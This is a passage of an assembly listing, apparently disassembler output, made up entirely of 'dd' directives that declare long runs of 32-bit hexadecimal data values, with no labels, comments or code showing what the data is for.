3B54BFFFh, 10F79AFh dd 0EC23639Ch, 2DA06075h, 0CE000E4h, 796A5D1Ah, 0A7DC2451h dd 0FE114064h, 8D003666h, 0DECF2DC5h, 1C834978h, 4B7751A8h dd 0B803AC76h, 40F16C31h, 5C6C8Ah, 219AF980h, 0E1DF2Ah dd 5FE2C005h, 20508381h, 0F890FC1Bh, 91B7F710h, 0FA6D72C0h dd 23A200E0h, 1CE5298h, 32338B10h, 91EF9A4h, 0E6B824E0h dd 0D4D2F4B0h, 89E29F01h, 0A693C650h, 37297D4h, 56B95877h dd 0CC85D8EDh, 461411A0h, 0CD669Bh, 0E5944A18h, 51CBB74h dd 5E384122h, 7AC9030h, 0CF12DFCCh, 0C886BF9h, 40790166h dd 0D801C4A3h, 9080D31Ah, 0E1033BF0h, 0E2C3FF74h, 0CE26E9C1h dd 2300AC2Dh, 9CECAF2Bh, 2F0E6B31h, 0AFAC9D8Ah, 71250068h dd 0A6446DC2h, 42E801C8h, 0B287EBC7h, 1B7980B9h, 0A45F5BF3h dd 0D09C05EFh, 6EA7D8h, 0D97209B8h, 0B60191CCh, 6DDA2752h dd 7C7128ABh, 4F405C17h, 0B812945Ah, 0BB80435h, 0C01F79BCh dd 6DAF83ADh, 26F56700h, 0AC5FF431h, 0C2A72CBFh, 0E62B4214h dd 34FD8155h, 0B1F40304h, 4068B684h, 8A9F437h, 8D0E0500h dd 0D3F85F35h, 0B0EB1EDBh, 8B49B00Bh, 0FCB2928Ah, 83F8D600h dd 34B10D3Eh, 99A7EEDEh, 0DF790064h, 9EF769CEh, 52EB9D00h dd 9C4EE865h, 0E77B2Eh, 895E0910h, 0A0705561h, 160F9CB1h dd 3F250001h, 7664B4h, 47154D8Bh, 0FC8642A7h, 6FA8E506h dd 2E02E88h, 0CB3ED3DBh, 74FB515Fh, 2067100Eh, 4446ECCCh dd 0B7861FF4h, 0DB180543h, 0A788B434h, 0B38028BEh, 0AD6F3A16h dd 422E004Dh, 77109EE3h, 0F204751Bh, 623DA607h, 4A5FC0A4h dd 502848BEh, 38416C13h, 0D476ABB7h, 41E99C48h, 0C01454AAh dd 526A4E69h, 0F0A9A100h, 2127B1FFh, 265CB634h, 13D011C8h dd 0BC2239D8h, 3F2886DEh, 58A74CE1h, 1BF80980h, 6609BE27h dd 801C4944h, 61FAADC4h, 0D6D5071Fh, 0D0EF407Bh, 8D90CA68h dd 62AB4800h, 0CBCFBDCEh, 0F039702Ah, 2FD603F0h, 6754431Ch dd 9EE266A1h, 96C05D39h, 1541D68Ch, 5B54015Ah, 46A8F0F3h dd 33308C13h, 2A08ECh, 2E18E619h, 6D95DC03h, 8F135800h dd 17E8F897h, 29E36030h, 7A3DD04Eh, 0B41D17B0h, 0AE808E04h dd 0D6B7F34Bh, 0D4FA0157h, 4792974Ah, 33909E30h, 389914h dd 0E62C7804h, 83EFEAh, 31DC5BE9h, 968C5AC9h, 0D67EA407h dd 0E1609A16h, 2A1C2A55h, 1970A0F0h, 19569E72h, 590EDBACh dd 9949919Dh, 7FD3D519h, 77960331h, 5B158DDDh, 879E5199h dd 20F71F19h, 30D9A246h, 4C41474Bh, 500C4C5h, 0B8E2FEEDh dd 7F7050h, 9D39F31Fh, 87D3D06Bh, 147D4498h, 0C6C8E606h dd 0E0491637h, 6F7FEBDh, 218EA20Fh, 8F7A7189h, 3BC6755Ch dd 0BAD09D64h, 0F1AD1440h, 1BA7A2h, 943DAC55h, 99E54082h dd 91426C30h, 18EA285Ah, 0D995D6EDh, 0E8603374h, 0B0F66B71h dd 353007B8h, 453721h, 975936C6h, 0D708FE00h, 0F5D8754Eh dd 29F801C2h, 3373A1FDh, 917C58B1h, 5AEBA05h, 8FC03C3Ah dd 8F429h, 389DDEA2h, 7FDB1139h, 92CAFC00h, 0ADF0A776h dd 0D0C0AB91h, 0E2250DE5h, 60A264D4h, 5D25FE9h, 9B001313h dd 85665C53h, 6EA505C2h, 80A1729Ah, 1230104Ah, 0DA9231C0h dd 3E86191h, 0D434C7F1h, 69DE4BA3h, 0F2E21698h, 0F70E907h dd 399C1D25h, 0C9456074h, 0C1E03307h, 4060B11Eh, 0CC72C9C0h dd 0EF7F61h, 7A1AC5F0h, 76A3FA83h, 309AB407h, 8BBC1Bh dd 4C64F6BEh, 93CA0F2Eh, 20D24036h, 32B18C90h, 37070F90h dd 0AA2C14F0h, 0E43933F0h, 72CF14CCh, 4000404Ah, 0AD3DEC29h dd 0D63F9B8Dh, 3C04248Eh, 14787566h, 0CC7AD550h, 18C01109h dd 8F7B1802h, 7DF71720h, 81106033h, 40E642D0h, 74D8C500h dd 894DFCBEh, 0B89A00CAh, 0E48267CDh, 0D62E06D5h, 0C71934A2h dd 0C8F59339h, 1EBFDD30h, 989BEB53h, 2B5111CFh, 0A9F0FB14h dd 909D84E4h, 0FAE33C8Dh, 0E7248074h, 0FC5231h, 0E8E19946h dd 1F56D6F7h, 0AD2510A0h, 0EEA6C900h, 4073AA75h, 32080018h dd 92CB60D6h, 464DB7C6h, 41D9094Ch, 42F0215Bh, 98F21DE4h dd 0E2A9FC28h, 0F4FA602Dh, 31FF9A9Eh, 0A5F1D705h, 56C080DBh dd 1C9B06Fh, 0C4E853DAh, 4747AAF0h, 5C44F464h, 9C402792h dd 4D0CB92Fh, 0A2070EF9h, 3FA1CADDh, 888093F4h, 139033A0h dd 398C3174h, 1C7680E8h, 58795334h, 7D3EE57h, 0C817AF02h dd 0D9308090h, 0D2283492h, 99006055h, 0A7155294h, 756379F7h dd 7632311Ch, 0D0DFA931h, 0EC18CA74h, 75A156C3h, 0DCF500DAh dd 39FAC9EDh, 5A1EC410h, 9A806B25h, 0AA9D1359h, 34D304BDh dd 80184E73h, 0D5453100h, 0D6E33700h, 0DDA80564h, 53B20146h dd 56AB7377h, 0E760D4AEh, 0EE33751Bh, 7B4898A1h, 723F00B4h dd 3496EA57h, 0D700E18Dh, 0BA1799A2h, 1194205Dh, 0C62D5ECh dd 41EBA827h, 2CD730EDh, 0C0CB7419h, 0AF0D652h, 0E4C1A927h dd 5660C048h, 0B3A872h, 0BA9E2FFAh, 0DFB45812h, 4B786B0Ah dd 0FD8BD848h, 7EDD8109h, 90217BB9h, 98D59EC8h, 87CB085Ch dd 4A115295h, 49BAE400h, 24F90BA8h, 73837613h, 215FD40Dh dd 11940C42h, 2F20D299h, 1BF96ECh, 64683C70h, 0F4762158h dd 320EC69Bh, 608BCBDEh, 9D7D57BFh, 39786E95h, 8FD1234Ch dd 14F47700h, 7D33291Bh, 4B9A00EDh, 0F2717A87h, 0FC00B01Ch dd 226638E4h, 4C59FF97h, 0E12C33B8h, 0EF4200B1h, 32AF9282h dd 0A898FCE6h, 2E007499h, 8DC8ABE6h, 7AEA3B23h, 245AD600h dd 4782CA10h, 3E9A9500h, 55CCB30Bh, 0FE32006Dh, 3E3A626h dd 9402211Eh, 9A5EDCF3h, 0A278836Bh, 0A37AA05Fh, 0B4ED0125h dd 0AEFDCDC2h, 0F3CBC433h, 220E48F8h, 407619E4h, 9E6D5777h dd 569A22BFh, 913B5509h, 0EB4C8442h, 0A63AA840h, 162E8E10h dd 3B3DE49Dh, 21223024h, 0CB3DDFEDh, 4900D41h, 0CD1263EEh dd 0E3009638h, 0BA27C85Ch, 3F410094h, 3EB639D7h, 9A0A0DEFh dd 0E452689Fh, 8342AD88h, 4A6CF5CAh, 485E72E9h, 900006E8h dd 0C380A49Bh, 12843049h, 84BD8D3h, 9F42EF7Ch, 0E9FE40B4h dd 0BC3C0034h, 0DA4680A7h, 1007C9Bh, 0DE787630h, 0B820F0C7h dd 47949945h, 1AF3A27Ch, 0DB6F5F40h, 3D38C800h, 0D1EF0C07h dd 5471030Fh, 262A631Dh, 17ECF900h, 9430B2FCh, 0BF0F004Dh dd 73B97099h, 0F039AE6Eh, 0D91B32D1h, 64E472h, 0B7B37328h dd 0E9FB657Fh, 1025A20Ah, 56114811h, 1408A500h, 199F02Fh dd 1BD7EC0Ch, 3587828h, 4F2E91CBh, 3A0FD2ABh, 382AFAC8h dd 3793D99h, 9D554013h, 51515D92h, 0B4AFEE10h, 73EC0116h dd 47B28259h, 72ABC02Ch, 9C3CC499h, 0A8450A5Eh, 0CA0308DAh dd 0C0F3833Bh, 0DCB43Dh, 23CFBC10h, 788B4564h, 761D52F2h dd 330C9798h, 9369EAh, 109CE8FBh, 1458AF2Fh, 226BB501h dd 51189911h, 59C3D0h, 0B4D6ECABh, 75401C29h, 9E509D58h dd 0CB266600h, 1EB3E5h, 506E88B4h, 51F45F7Bh, 0C2E0820Ah dd 9D0B0C41h, 26741096h, 0DC852962h, 5BCA0EBCh, 7B9C1A40h dd 25E2CB63h, 76C619DFh, 0EA295542h, 0A2960945h, 6C124B3Ah dd 0CC4EC441h, 90006029h, 0A450B9BCh, 2799AE4h, 0C6FE16Ch dd 8844A32Ah, 0F169544h, 6A68D555h, 2FDF4060h, 0AE026D29h dd 53A9B17Fh, 7B4460CEh, 3C9A28D1h, 9D4B370Ch, 0CB9C4141h dd 0B61CE0D5h, 0EFB83000h, 7A2D59A6h, 48D07426h, 0EA2A3480h dd 46D8C4E0h, 76824288h, 694CC09Ah, 836F36CDh, 4709C269h dd 80DB42E5h, 929B6648h dd 7776A6h, 1323B286h, 0CC0ECA06h, 50531A0Bh, 0D2288242h dd 70842992h, 4DDB61CBh, 72FF0h, 0C1CDD6F6h, 176E814Fh dd 976F8400h, 0F42124D2h, 7E94021Bh, 57747267h, 44A80068h dd 3A1C988Ah, 0ABA4002Bh, 0D2CB8A0h, 570F0552h, 60B5B4D4h dd 1FF09C9Fh, 0A31A00CDh, 0D7947F10h, 4CA48521h, 1807B4Ch dd 6BBB19A9h, 70D4725Bh, 20009811h, 1B4C41FFh, 0E4ED0190h dd 0A03376E3h, 18D681A6h, 0AB5C4953h, 56429D01h, 5008969Ah dd 8FB818A9h, 0D560FDE8h, 2F3137FAh, 62DCEC80h, 1E272135h dd 73434859h, 651D8095h, 0C393A78h, 20F7A982h, 0B3402EC2h dd 0D43FCA84h, 34AB0340h, 852899Ah, 1F3CD551h, 0E0069597h dd 170892CEh, 1A986CAh, 726AE324h, 2E23F0DAh, 41B09655h dd 60AF572Eh, 0AB580F90h, 0C0E44C04h, 0E0451BF3h, 597FCA9h dd 353612D4h, 28F1C04Ch, 0AF18F1CBh, 0C2C157D8h, 59976B49h dd 8BE8813h, 9B35E12h, 0EF6BF4C1h, 0DEEC988Eh, 62CC69F9h dd 763C00DCh, 0EC2C070Bh, 7B73060Ch, 29222AD3h, 0AA249700h dd 0D2276182h, 9CDF004Dh, 5360B031h, 0A713286Eh, 4C9083FEh dd 912305Fh, 87E9CBDAh, 49219886h, 80A80D48h, 0A49234C9h dd 0D8F2E1h, 290251BCh, 0C269734Dh, 0CC684A51h, 1F00F7EFh dd 0C5193AAh, 30834D5Ah, 3E109640h, 0D18488Ah, 0E3319B4Bh dd 0E1900099h, 819FC4C2h, 4800D1B7h, 3157AD0Ah, 480AA27h dd 0C31625D3h, 0E03C8956h, 0E4A8181Dh, 0FB4CDCF6h, 3B9E0BACh dd 4C5411CBh, 0EEF1B10h, 0FE209CB0h, 5FA30524h, 803CC7C8h dd 55F0C1CCh, 99CC29C3h, 0F519A9Fh, 8384294Ah, 0F26FE6F9h dd 2AE3AA0h, 850AC802h, 8348997Ch, 19AE998h, 42B474D0h dd 2937E416h, 7F49002Ch, 2C02186Ah, 105672F3h, 4A512Eh dd 0B2BF6EA9h, 229A4FABh, 0D3095282h, 80C818EFh, 0A82FE7B0h dd 0B3BF048Eh, 88164AABh, 506A5624h, 76454C31h, 1014E8C4h dd 72F317E0h, 0D21ED030h, 7D31000Ch, 3B996478h, 3600BA63h dd 3E91DA82h, 60FA7924h, 0CAC478DCh, 0B450AFCDh, 0ED12D428h dd 4C027496h, 60DC1BCEh, 12CAE594h, 31D5AFC8h, 896E870h dd 0B4E4828Fh, 51EBA106h, 7B45BFFh, 0C882413Fh, 7694518Ah dd 0F02D32h, 0A1BBBD8Ch, 2F49CFDh, 7201AC1h, 1DC060A8h dd 7C90F12Eh, 0A7965502h, 79158DDBh, 92A53C78h, 10557C91h dd 7CD873A3h, 0EC54A041h, 12E80704h, 834A2B90h, 11120544h dd 5408A110h, 74068F95h, 152BC062h, 1FA94040h, 756C0F84h dd 6347FBEAh, 44E3B027h, 0AC9090B5h, 40DFAB28h, 439C64E5h dd 36D40B00h, 0D0A20CA6h, 96BF17FFh, 49870F18h, 2DD541C1h dd 3D1C6093h, 54401D13h, 2FBC88h, 0AEB47CA7h, 0D07B6728h dd 2987800h, 8BC92C68h, 424044DEh, 72CC4613h, 0B7A404D0h dd 4B010009h, 32C07715h, 37B0BD49h, 582C6700h, 96113AB6h dd 46511226h, 0CB3C0015h, 9420443Bh, 0A9398212h, 70014412h dd 282AF397h, 93FCD180h, 488561E6h, 767B200Bh, 726A01F4h dd 0CC48DD84h, 4E419042h, 0ED6C608Fh, 49C93E70h, 870C900Dh dd 0FF8103D7h, 378B1768h, 28A394B8h, 8A0FD201h, 9B2A62D9h dd 3358B82Dh, 9707A43Fh, 53521AE2h, 1112A5EFh, 58C17A18h dd 0A30255F3h, 0FAB3EC98h, 59E7A101h, 5518F0E2h, 71FDECE0h dd 443A5A99h, 4275A9ACh, 205F72CAh, 0C947C227h, 0B3770600h dd 4C367AA6h, 8CA6B9h, 0FFD75649h, 3285FEB6h, 8B161C90h dd 38D04BA2h, 0EBA6Bh, 305178F7h, 0BBE7D999h, 44B20100h dd 74FF1291h, 0ECC0F9D5h, 33F22EC9h, 0D04A13F4h, 7AEB8850h dd 2C3C6B07h, 94503A82h, 0EC7F26h, 7155C159h, 7377241Ah dd 13C8058h, 8B409CD6h, 0C0531533h, 1822E00Ch, 0D19F00A5h dd 8ACA1F3Eh, 0DCA4DE76h, 2444EA24h, 0CD385611h, 87705B80h dd 26FCFF48h, 0FA360100h, 8A6009A9h, 598334BBh, 31744108h dd 0D40E9BD4h, 6A038985h, 68FC40A5h, 4DAFA090h, 26B2F884h dd 40143009h, 0C0115E3Eh, 7378C400h, 0A5455F87h, 0B3341665h dd 0AB38201Bh, 7004884Dh, 0E642CA25h, 80F44C4h, 1417663Ah dd 71ED2651h, 105D40B0h, 0E58F7C7h, 0C12080A8h, 0AA8E71h dd 9E32A792h, 241FCA86h, 2E47BA12h, 54482004h, 0ECA5805Ch dd 90CFF480h, 0D8058898h, 0E8D23592h, 16994C88h, 155295h dd 82677988h, 76248140h, 443A0E0h, 0A04A8925h, 0DBB4ECh dd 0FACA2096h, 10E173A2h, 1362F71Fh, 99EFC28Bh, 7E02D644h dd 4884B04h, 2F440197h, 0FB799563h, 0D08404C3h, 0C220E48Eh dd 841539CAh, 96627909h, 88D440E4h, 7B4890B8h, 0A69C18DCh dd 0F2305E78h, 0F328CB20h, 8FEA9C81h, 0B4AC60C7h, 0E7C2D605h dd 0B83049A0h, 75392DBh, 5AFBD165h, 5BED1024h, 749867D5h dd 91CDAC31h, 64291733h, 67969200h, 0F1C94EB3h, 347F9300h dd 0EB81E5C8h, 0F2391CE4h, 42FDCF56h, 8A70AF00h, 0EA2408D8h dd 9C24802Fh, 9B22A89h, 4E8C8480h, 41AFF042h, 43E93884h dd 0E8245C9Ah, 2C34039h, 8A967D5Dh, 0F7DE52h, 4BAD9218h dd 6339C01Ch, 93ECC3F3h, 61A28200h, 15740ADBh, 59EB0030h dd 0C36264FAh, 6B7A4D43h, 44787A78h, 0DCC4ED00h, 0B4AA2E28h dd 630D39E0h, 942248CCh, 6096881Eh, 80F5A940h, 2FA5AD0h dd 0DA15E258h, 0F8900D42h, 9D005375h, 796ABE22h, 269B3A55h dd 8754F4ABh, 32BF466Dh, 0C0802B54h, 26E15B35h, 1A602477h dd 1EB31BF1h, 655700D8h, 4B7CEFDCh, 48E8EB6Ch, 0BE41576h dd 0C9B12F00h, 0D870121Eh, 218B073Bh, 72C4949Ah, 5CA0B0CEh dd 1F2635A7h, 0D6901A09h, 8F837F5Fh, 62D91E41h, 5B286020h dd 0C7FA7507h, 0C66010A9h, 2CF3D1A2h, 0F304DBFh, 0CB09F01Ah dd 7262A022h, 0FC1CCCE9h, 0E004F2Fh, 0BE5A2303h, 0DFDC8Eh dd 91F1A4A0h, 0A82594C2h, 125C9B49h, 8491C3EDh, 0A19C9A0Dh dd 0EF5040D3h, 577EA06Dh, 2AD1F601h, 0CA9B1A5Eh, 13EC49C8h dd 893182D5h, 352863A4h, 507050A9h, 66286Ah, 22F41D7Fh dd 0E3BAB7C1h, 24FA483Fh, 7489B083h, 0C050E832h, 0A33B00D9h dd 5ED602FCh, 0D30F9880h, 0E158CF04h, 59DCE0BDh, 27C2A023h dd 6466A413h, 109F7089h, 69206Ah, 0C57D9C90h, 0D8DB1E8Eh dd 0A0303A4Fh, 0F8BE2630h, 0AAC90038h, 8473AC65h, 0C0B64F90h dd 981C2789h, 8453D598h, 806E9A26h, 1B0E64Bh, 2099EC2Eh dd 605A9362h, 0BE599855h, 0D22F009Ch, 0EFF9E55h, 31C90D8h dd 0F70CAF07h, 3CC15156h, 0D6118A06h, 7214143Dh, 43FB0034h dd 8B8DBFF2h, 0C3282C8Eh, 98D0204Ch, 96E0724Ch, 0C0CC9F54h dd 2246C9C2h, 6A008657h, 5E4DEEF5h, 3D1F1FCh, 6F64835Bh dd 0B902F24Ah, 4BBA91CAh, 0AEA0A090h, 3BED4Dh, 756E56E0h dd 14A3FA45h, 1D27FC38h, 0F0C0AB34h, 0A2C8D4D3h, 1B260066h dd 9353EAC3h, 0AB04573Fh, 4B4E9B72h, 831E09C0h, 0EEC818ECh dd 9D747029h, 0AD603CB6h, 0C3868437h, 0D6A05A08h, 78E2A383h dd 29055C63h, 0A6A852B3h, 0DCF4B8C9h, 0DC748927h, 8200ABBDh dd 0C5249A92h, 7AF20Dh, 3E42DB75h, 0C2C73639h, 0EA1C4B74h dd 9A416B60h, 63981982h, 0DAC058CDh, 0AB51002Ah, 0A61C9F4Ah dd 0E403EAE7h, 0D39CB287h, 954FD055h, 8CF35CDBh, 186C4D24h dd 1793D1EDh, 5F001B98h, 0AB45E660h, 9057861Bh, 0B4725CE4h dd 0C03EC18Eh, 77290ECCh, 0A63AFDD2h, 44BC0256h, 0C1DC1F18h dd 0B060E826h, 239A00CAh dd 491ECE54h, 9812C85Ch, 0DCB0366Eh, 9F9D3D55h, 0A303F85Dh dd 80E1D876h, 0F06D12E8h, 0A09532F0h, 68F6D3C8h, 0FCB83886h dd 0A2C34900h, 9D27CE0Dh, 86F4E00h, 0C0CB7BB5h, 0E71C98BBh dd 1A4F3985h, 12DB81FCh, 2569865Eh, 0FC2119AAh, 245ECA2h dd 0CB943E23h, 0E8A06D28h, 0E04C5240h, 27007598h, 447C34Bh dd 1F703693h, 5F86AAh, 46CB4D12h, 0C896E281h, 68177847h dd 0D34F2BB0h, 9CBE00E4h, 5ED7FDAFh, 0B304C8A2h, 0AAF0316Bh dd 3318ECADh, 0D2CC9114h, 6D7F7703h, 8FDB1539h, 444282C8h dd 8A341D9h, 0D881112h, 0EC26CA7Eh, 28003498h, 5EFB1765h dd 1DFD02E8h, 22DEA8A7h, 665D12C0h, 2EE22D1Dh, 0FF00211Eh dd 0C2680603h, 4679B5h, 0C125DEC6h, 764844A1h, 70D2220Fh dd 0C0E7A02Dh, 3C1C20h, 96369C3Bh, 1E625DA1h, 7DC5FD00h dd 0BC7C4D4Fh, 69306003h, 0C2703D1Dh, 2D0B6A00h, 8F4DEDA3h dd 0FCA93AD6h, 9C327286h, 0BE00895Dh, 84F5A080h, 14475Ah dd 0FFA18715h, 7DCE1D62h, 0DB86F20Ah, 2D008752h, 0FA21DD6Ah dd 0AE46006Eh, 6F3F4BA0h, 757F6637h, 38E3A718h, 0A039DD11h dd 30CD3414h, 5D7062B5h, 4B0098CEh, 0FB7037A4h, 0AE0C19A5h dd 0F5411194h, 0F6300756h, 1D8059D3h, 18DD497Bh, 0C108A595h dd 0B70C1E76h, 18F37D0Ch, 0A80F88BFh, 3F719363h, 39590034h dd 0B11440E0h, 4A00D4E8h, 0FD6874FEh, 327FEDh, 62FE288h dd 5A5154A4h, 20DE81C7h, 0D1D39971h, 38E1EED5h, 0E54C0840h dd 501C5C46h, 3B927D03h, 39766BF5h, 8A327100h, 0F1D813CAh dd 7E87308h, 75454F55h, 0F922D07Fh, 8C086289h, 835E1635h dd 95DE446h, 8995C903h, 42F6B842h, 0FA509088h, 39E17F58h dd 69F8A1A8h, 4403311Dh, 0DD920573h, 8232A898h, 0BD2F44h dd 5917F0EBh, 0DD0FAC80h, 875D19C0h, 879D922h, 5848A0CFh dd 0B8D44A80h, 0AB2BDEFDh, 0D7589840h, 79990122h, 598F4862h dd 0DD442042h, 50FE5B01h, 0F58CB0Ah, 74A9996h, 11D79D0h dd 0DC26677Eh, 0C0008EB1h, 95778BC3h, 1CEED23Bh, 0E1CA93h dd 9419449Dh, 0E7039ABAh, 908B3AFEh, 120CE132h, 0DD19002Ah dd 0A3B01BA0h, 5EA22903h, 0C88B4D4Ch, 538BA63h, 8932CA79h dd 377C0054h, 4C77F547h, 9C3610C6h, 3DFD1EF9h, 74DF804Bh dd 76502EEEh, 93F2520Eh, 0E7C05C79h, 3688B05Fh, 1B9D0334h dd 7E806F03h, 7C8FD0E7h, 0B503A98Ah, 8332CD27h, 28710955h dd 6810261Bh, 9500BC7Dh, 33D24EE2h, 60147447h, 8AD62884h dd 0C8F72705h, 0DD001659h, 375CC65Dh, 1F7E162h, 0F5FAE650h dd 0D34D2ED5h, 2B0061C6h, 0AEC02F8Ah, 77228E29h, 95491845h dd 81807C40h, 0E4A64228h, 44313F28h, 0AD20AB1Eh, 67179A00h dd 2FF586B9h, 24F6D2D9h, 64FBE200h, 7EB5DC93h, 0E4982E45h dd 39360041h, 0E5F2EB2h, 9042E8A8h, 6B20AD00h, 6318C6FFh dd 12017752h, 203ADE0Bh, 79A0B814h, 1125EB30h, 18A2F498h dd 4914B295h, 70010B7Ch, 419B53DBh, 9AD90F40h, 0BB99CC50h dd 1A29DF16h, 0D800F9D2h, 0E3AA1128h, 1A8A240Ch, 0E51963h dd 7A8408C4h, 4271AD05h, 0CA809661h, 49803B58h, 19DB659Ch dd 0B264134h, 8C009E8Bh, 0C9C65E72h, 1B110C5Ah, 22B1373Ch dd 0F4400100h, 0FCA333A6h, 0B47F00BFh, 6E83B7D1h, 61E8F714h dd 13604249h, 4C25E7E4h, 124C1410h, 0D40035E1h, 0BEA71686h dd 43745C65h, 18E5EB14h, 3EBDE40Ah, 4FB6003Ch, 24178B6Fh dd 0AA2D7100h, 0B579487Eh, 63D90BBh, 1E28C421h, 5930313Ch dd 0CB64917h, 0E74202A6h, 1F40C8D3h, 8B432060h, 32631905h dd 0A4466494h, 0A19936h, 83084110h, 0F23F3C7Eh, 2E0A0DE0h dd 0C8C871DCh, 0A5849E10h, 0BD7C470Ah, 930C9DD9h, 17A820F5h dd 83F87AD1h, 0F34C3F70h, 82311234h, 27E09C31h, 0D5F0170Ch dd 6063650Ah, 76070C04h, 9D204B02h, 1FF2E213h, 2A874E3Fh dd 0EFB10534h, 80587282h, 0E9A54F70h, 7AB34058h, 61FD0505h dd 0E0553C91h, 56E70C94h, 60F519EAh, 0A8B74953h, 300E5CF1h dd 0C27504B6h, 64744A52h, 6BBF0190h, 0E02F7F56h, 0F41103Ch dd 3021DED9h, 4EBB4680h, 6CD4700h, 7FB592F1h, 1D5802E7h dd 0D5945FABh, 0AA7DA480h, 200090F9h, 488F54EDh, 0BE7AC10h dd 60690934h, 0CC562804h, 8B01E6E4h, 10A980A1h, 3DDC19BEh dd 9144B06Bh, 0C30EBC14h, 0BF609A0Dh, 6403FA33h, 0CB7F99C0h dd 0C0923572h, 0DF8F0411h, 0A6077882h, 4C3E76AEh, 0B2964690h dd 919C2C9Ah, 0EFDB032Ah, 90333AC0h, 0BC17E820h, 446D2F03h dd 6262E499h, 0C483393Ch, 351F3428h, 610CCC19h, 57F2A300h dd 0EBA801BAh, 4A970117h, 2C3CF8E1h, 849FA6Dh, 9D51881Dh dd 9B368C2Eh, 0F20046B9h, 0D2068BAh, 1612A2CEh, 72386B88h dd 0B12057CCh, 62426Ah, 31BEBFEEh, 160EB3C8h, 0DDE44500h dd 0B4D051A8h, 6BB218DCh, 0EFD4104Dh, 0A6CAC61Eh, 42A91DC0h dd 4CBC7231h, 8F004180h, 0BEA4E5E6h, 0C635F2Ah, 2DF569h dd 957AEE71h, 6C2A1B4Ah, 12777698h, 16CE995Ch, 0D8489FA7h dd 542DC07Fh, 360C0BD9h, 0E9675738h, 920B086h, 0E57BAC6Eh dd 18BC2491h, 6BD3310Fh, 0C0BD2A31h, 0D491D779h, 0A118A044h dd 5249AD0h, 7E600470h, 0B4CBF0h, 0EFA4124Bh, 8E9BB711h dd 3DB54801h, 0A46D915h, 0C17EB991h, 0B8633188h, 0C71F7882h dd 0D0661E9Dh, 3808E028h, 582C4448h, 36E4805Ch, 21FCBCCh dd 73E28758h, 9840682Bh, 0A020BDEh, 49D71308h, 0C40407Dh dd 4F886B2h, 0E780F4BBh, 2FB1D850h, 532D0098h, 57AFA2A4h dd 0D100DE36h, 0D40571F0h, 0C7145F21h, 6E4DEE81h, 65AA6860h dd 492E319Dh, 3614CC63h, 2B09838Ch, 0D575B8F6h, 990700BAh dd 0C566ACEEh, 0C10F80FDh, 2385AE20h, 4804EB1Fh, 0DD2654A0h dd 36EC06DDh, 0F9004994h, 0CC9BAB8Ch, 0F60F5C78h, 75B3486Dh dd 35438501h, 40104730h, 39941D8h, 0A745E8C2h, 98088125h dd 36F5B8E5h, 0CD9EF180h, 0EF7AB08Bh, 67DC7024h, 0C74D370Fh dd 0E953DE18h, 835000D3h, 0A06D4976h, 0A31E73F5h, 2F43DDAFh dd 14725DA7h, 1403DE11h, 0CC48184Ch, 32261DC4h, 0F20C435h dd 2AEE10DEh, 4084B820h, 6600ECD8h, 0F976E824h, 1F90EF6Eh dd 3B563CEh, 0D68C6FA6h, 98CC12B0h, 1008F55Ch, 0DC8209BFh dd 98E0D35Ah, 0B6E82819h, 0BBFAE8h, 0FB408707h, 0E0116000h dd 0BD2E044Dh, 87E579B0h, 0BE806184h, 4A86E84Bh, 3EA61912h dd 0BFE50C20h, 32F400D3h, 57A8C44Eh, 5500D668h, 0B3386A08h dd 445A4Ch, 0B6A2E9E3h, 0BEC4D8DFh, 2264FC4Ch, 3445585Eh dd 0E8A5CC00h, 9C99A062h, 3BF44050h, 0BE389D02h, 0C28370D6h dd 30A4E67Ch, 1F2837A6h, 0F531B48Eh, 79731951h, 189A30h dd 0AD41618Ch, 0BD591187h, 28F8F977h, 0C1C43BFCh, 0DCB28B32h dd 0EBB8D107h, 0C0187BDEh, 0D542584Bh, 0E5124E21h, 8C410CCBh dd 88481060h, 61C03958h, 0A6D143A0h, 6750046h, 8757902Dh dd 7601EECCh, 8BD445FEh, 418851E1h, 24259D43h, 0F9403AB8h dd 26B5E3E4h, 0C28144Ah, 0E05B5C1Fh, 409D0B2h, 0B5409E48h dd 0C5EEC099h, 4A0A3300h, 5F47243Ch, 1029E566h, 93302701h dd 7310B202h, 32887B18h, 57CB989h, 8CE519BDh, 0CB282CF0h dd 1200E8B2h, 0BE23278Bh, 50D00F40h, 88306897h, 8004241h dd 0D6DFFB22h, 1634F92h, 0E7AF8A71h, 714A5D98h, 0BDFC1C28h dd 41380330h, 3DC70256h dd 0B11A521Ah, 24426875h, 10555CC1h, 1CD2E506h, 0B3576393h dd 0C5C0EB10h, 58318756h, 75D4F10Ch, 0DBC06CD5h, 7A07722h dd 9E46BC6Ah, 0E5A110ECh, 0A61B95DDh, 0C4305C72h, 0C8031480h dd 0A08F00E2h, 1B84F44Bh, 5D0C5EBDh, 11F5E3A7h, 143950DEh dd 909958h, 0CAA42FFFh, 0BA0CE96Bh, 0B15F5154h, 433D2A76h dd 33D20060h, 38C36823h, 362CA6E1h, 594560F3h, 76CAD820h dd 0F1D10552h, 4C201A28h, 0FC564890h, 0BD7F2600h, 751F11D6h dd 2C08EC27h, 0CB74E779h, 1CBE4C99h, 79010222h, 407A2ACFh dd 7103A873h, 71FEC42h, 0C836BD11h, 0BD0858h, 311786ABh dd 48CAB394h, 84431DE0h, 4CD10A00h, 3ACC5686h, 68257700h dd 1E92CEB5h, 9D260F3Ch, 0C4A0E936h, 0E7F7315Dh, 5000E4F4h dd 0C9E43BAh, 77D3EC1Dh, 39DD0298h, 61A6AF8Fh, 3F3EEC98h dd 6C833D00h, 0D85C80CAh, 6FE03BE9h, 32EF0BF9h, 8091528Ah dd 4482119Fh, 0F46B7AC4h, 1D9805E4h, 0D25919BBh, 68212F7Ch dd 0A1E03191h, 87A400E8h, 77858A80h, 0BE0B86EEh, 91FEB9h dd 5F3C4578h, 8CC9413h, 1E44509Ch, 50E02922h, 0B311A8B2h dd 3F2E6457h, 787F40F0h, 0E1000BC6h, 850DCECBh, 1F4E71Ah dd 73A6FF86h, 70AEF502h, 0D60A194Ch, 0F0A0BD39h, 37A010E7h dd 48B52D4Ah, 58869485h, 0CB802138h, 0DF00FF26h, 0C2492BB2h dd 16D6214h, 0BE5F4488h, 23752E99h, 0F887684h, 0B19D62D7h dd 40E6B999h, 8AD7CA0h, 20B31900h, 4FEF6D43h, 8245006Eh dd 0BC7EEDA0h, 9890076Ch, 35377CF8h, 0B4204961h, 0D59DFFh dd 0ECAA7D3Fh, 0ADB2B3C1h, 50EAE00Eh, 99BA23E7h, 2B60FFC8h dd 5DCE2Eh, 1AA06532h, 1F64353Ch, 4E557605h, 5048D40Fh dd 361041BFh, 861981B9h, 1A2B5F32h, 0D1B65280h, 3DD1F16h dd 26B41303h, 